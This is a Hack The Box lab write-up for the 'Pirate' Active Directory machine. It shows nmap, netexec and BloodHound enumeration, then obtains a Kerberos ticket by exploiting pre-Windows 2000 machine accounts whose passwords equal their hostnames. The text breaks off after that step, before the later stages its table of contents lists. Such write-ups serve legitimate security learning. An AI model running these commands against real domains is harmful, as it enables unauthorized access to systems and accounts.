Pirate - Hack The Box Writeup

Difficulty: Hard
OS: Windows Server 2019 (Active Directory)
Author: HTB
Key Techniques: Pre-Windows 2000 Machine Accounts, gMSA Password Read, Ligolo-ng Pivoting, RemotePotato0, NTLM Relay to LDAPS, ForceChangePassword ACL Abuse, Constrained Delegation, SPN Jacking


Table of Contents

  1. Overview
  2. Reconnaissance
  3. Enumeration
  4. Pre-Windows 2000 Machine Account Exploitation
  5. gMSA Password Extraction
  6. Pivoting to WEB01 (Internal Network)
  7. RemotePotato0 - Capturing a.white's Authentication
  8. NTLM Relay to LDAPS - ForceChangePassword
  9. Constrained Delegation - User Flag
  10. SPN Jacking - Root Flag
  11. Attack Chain Summary

Overview

Pirate is a Hard-rated Windows Active Directory machine that involves a complex multi-step attack chain spanning two machines in different network segments. The box tests knowledge of Active Directory delegation attacks, NTLM relay techniques, and creative pivoting through internal networks.

Environment:

  • DC01 (MACHINE_IP) — Domain Controller, directly accessible
  • WEB01 (WEB01_IP / 192.168.100.2) — Internal web server, only reachable from DC01's network
  • Domain: pirate.htb
  • Initial Credentials Provided: pentest / p3nt3st2025!&

Network Layout:

ATTACKER_IP (Kali) ──── MACHINE_IP (DC01) ──── WEB01_IP (WEB01, internal 192.168.100.0/24)

Reconnaissance

Port Scanning

nmap -sV -sC -p- --min-rate 5000 MACHINE_IP

Key Open Ports:

Port Service Details
53 DNS Microsoft DNS
80 HTTP IIS httpd 10.0 (redirects to adfs.pirate.htb)
88 Kerberos Microsoft Windows Kerberos
135 MSRPC Microsoft Windows RPC
389 LDAP Microsoft Windows AD LDAP
443 HTTPS IIS with ADFS
445 SMB Windows Server 2019 Build 17763
636 LDAPS SSL LDAP
5985 WinRM Microsoft HTTPAPI

DNS & Host Setup

echo "MACHINE_IP  pirate.htb DC01.pirate.htb adfs.pirate.htb adcs.pirate.htb" >> /etc/hosts

The HTTP service on port 80 redirected to adfs.pirate.htb/adfs/ls, confirming Active Directory Federation Services is present. Port 443 served the ADFS login portal.

Important Note: ADFS endpoints (ROPC, WS-Trust, WS-Federation) are rabbit holes on this box. The ADFS service doesn't actually run on DC01 — it runs on the internal WEB01 machine.


Enumeration

SMB Enumeration

netexec smb MACHINE_IP -u pentest -p 'p3nt3st2025!&' --shares

Basic shares accessible but nothing immediately useful. SMB signing is enabled on DC01.

LDAP Enumeration

netexec ldap MACHINE_IP -u pentest -p 'p3nt3st2025!&' --users

Domain Users Discovered:

User Description
Administrator Built-in admin
a.white Regular user
a.white_adm Administrative account
j.sparrow Regular user
pentest Our initial user

BloodHound Collection

bloodhound-python -c All -u pentest -p 'p3nt3st2025!&' -d pirate.htb -ns MACHINE_IP

Key BloodHound Findings:

  1. a.white has ForceChangePassword on a.white_adm
  2. a.white_adm has Constrained Delegation to HTTP/WEB01.pirate.htb
  3. a.white_adm has WriteSPN on all computer objects
  4. a.white has active sessions on WEB01 (recent lastlogon timestamps)
  5. gMSA accounts exist: gMSA_ADFS_prod$ and gMSA_ADCS_prod$
  6. Computer objects: DC01, WEB01, MS01, EXCH01

Internal Network Discovery

Querying DNS for computer objects revealed WEB01 at an internal IP:

nslookup WEB01.pirate.htb MACHINE_IP
# Result: 192.168.100.2 (internal, not directly reachable from attacker)

MS01 and EXCH01 had no DNS records and zero lastlogon timestamps — they are pre-created but inactive.


Pre-Windows 2000 Machine Account Exploitation

Discovery

One of the first things to check in any AD environment is for Pre-Windows 2000 compatible machine accounts:

netexec ldap MACHINE_IP -u pentest -p 'p3nt3st2025!&' -M pre2k

Output:

PRE2K    PIRATE\MS01$     ms01
PRE2K    PIRATE\EXCH01$   exch01

When machine accounts are created with the "Assign this computer account as a pre-Windows 2000 computer" checkbox, their initial password is set to the lowercase hostname (without the $). These accounts were pre-created but never joined to the domain, so the password was never changed.

Getting a TGT

Clock Skew Note: Fix It by using ntpdate or rdate



# Get TGT for MS01$ machine account
impacket-getTGT 'pirate.htb/MS01$:ms01' -dc-ip MACHINE_IP

Output:

[*] Saving ticket in MS01$.ccache

We now have a valid Kerberos TGT for the MS01$ machine account.